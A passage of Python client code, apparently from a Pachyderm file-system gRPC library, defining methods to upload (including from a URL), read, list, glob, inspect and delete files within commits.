self.stub.PutFile(_wrap(value))
return
def _blocks(v):
for i in range(0, len(v), BUFFER_SIZE):
yield PutFileRequest(file=File(commit=_commit_from(commit), path=path),
value=v[i:i + BUFFER_SIZE],
delimiter=delimiter,
target_file_datums=target_file_datums,
target_file_bytes=target_file_bytes)
self.stub.PutFile(_blocks(value))
def put_file_url(self, commit, path, url, recursive=False):
"""
puts a file using the content found at a URL.
The URL is sent to the server which performs the request.
:param commit: A tuple or string representing the commit
:param path: The path to the file
:param url: The url to download
:param recursive: allow for recursive scraping of some types URLs for example on s3:// urls.
"""
self.stub.PutFile(iter([PutFileRequest(file=File(commit=_commit_from(commit), path=path),
url=url,
recursive=recursive)]))
def get_file(self, commit, path, offset_bytes=0, size_bytes=0, extract_value=True):
"""
returns the contents of a file at a specific Commit.
:param commit: A tuple or string representing the commit
:param path: The path of the file
:param offset_bytes: Optional. specifies a number of bytes that should be skipped in the beginning of the file.
:param size_bytes: Optional. limits the total amount of data returned, note you will get fewer bytes
than size if you pass a value larger than the size of the file.
If size is set to 0 then all of the data will be returned.
:param extract_value: If True, then an ExtractValueIterator will be return, which
will iterate over the bytes of the file. If False, then the Protobuf
response iterator will return
:return: An iterator over the file or an iterator over the protobuf responses
"""
r = self.stub.GetFile(GetFileRequest(file=File(commit=_commit_from(commit),
path=path),
offset_bytes=offset_bytes,
size_bytes=size_bytes))
if extract_value:
return ExtractValueIterator(r)
return r
def get_files(self, commit, paths, recursive=False):
"""
returns the contents of a list of files at a specific Commit.
:param commit: A tuple or string representing the commit
:param paths: A list of paths to retrieve
:param recursive: If True, will go into each directory in the list recursively
:return: A dictionary of file paths and data
"""
filtered_file_infos = []
for path in paths:
fi = self.inspect_file(commit, path)
if fi.file_type == FILE:
filtered_file_infos.append(fi)
else:
filtered_file_infos += self.list_file(commit, path, recursive=recursive)
filtered_paths = [fi.file.path for fi in filtered_file_infos if fi.file_type == FILE]
return {path: b''.join(self.get_file(commit, path)) for path in filtered_paths}
def inspect_file(self, commit, path):
"""
returns info about a specific file.
:param commit: A tuple or string representing the commit
:param path: Path to file
:return: A FileInfo object
"""
return self.stub.InspectFile(InspectFileRequest(file=File(commit=_commit_from(commit),
path=path)))
def list_file(self, commit, path, recursive=False):
"""
Lists the files in a directory
:param commit: A tuple or string representing the commit
:param path: The path to the directory
:param recursive: If True, continue listing the files for sub-directories
:return: A list of FileInfo objects
"""
file_infos = self.stub.ListFile(ListFileRequest(file=File(commit=_commit_from(commit),
path=path))).file_info
if recursive:
dirs = [f for f in file_infos if f.file_type == DIR]
files = [f for f in file_infos if f.file_type == FILE]
return sum([self.list_file(commit, d.file.path, recursive) for d in dirs],
files)
return list(file_infos)
def glob_file(self, commit, pattern):
"""
?
:param commit:
:param pattern:
:return: A list of FileInfo objects
"""
r = self.stub.GlobFile(GlobFileRequest(commit=_commit_from(commit),
pattern=pattern))
if hasattr(r, 'file_info'):
return r.file_info
return []
def delete_file(self, commit, path):
"""
deletes a file from a Commit.
DeleteFile leaves a tombstone in the Commit, assuming the file isn't written
to later attempting to get the file from the finished commit will result in
not found error.
The file will of course remain intact in the Commit's parent.
:param commit: A tuple or string representing the commit
:param path: The path to the file
"""
self.stub.DeleteFile(DeleteFileRequest(file=File(commit=_commit_from(commit),
path=path)))
def delete_all(self):
self.stub.DeleteAll(google_dot_protobuf_dot_empty__pb2.Empty())
| python |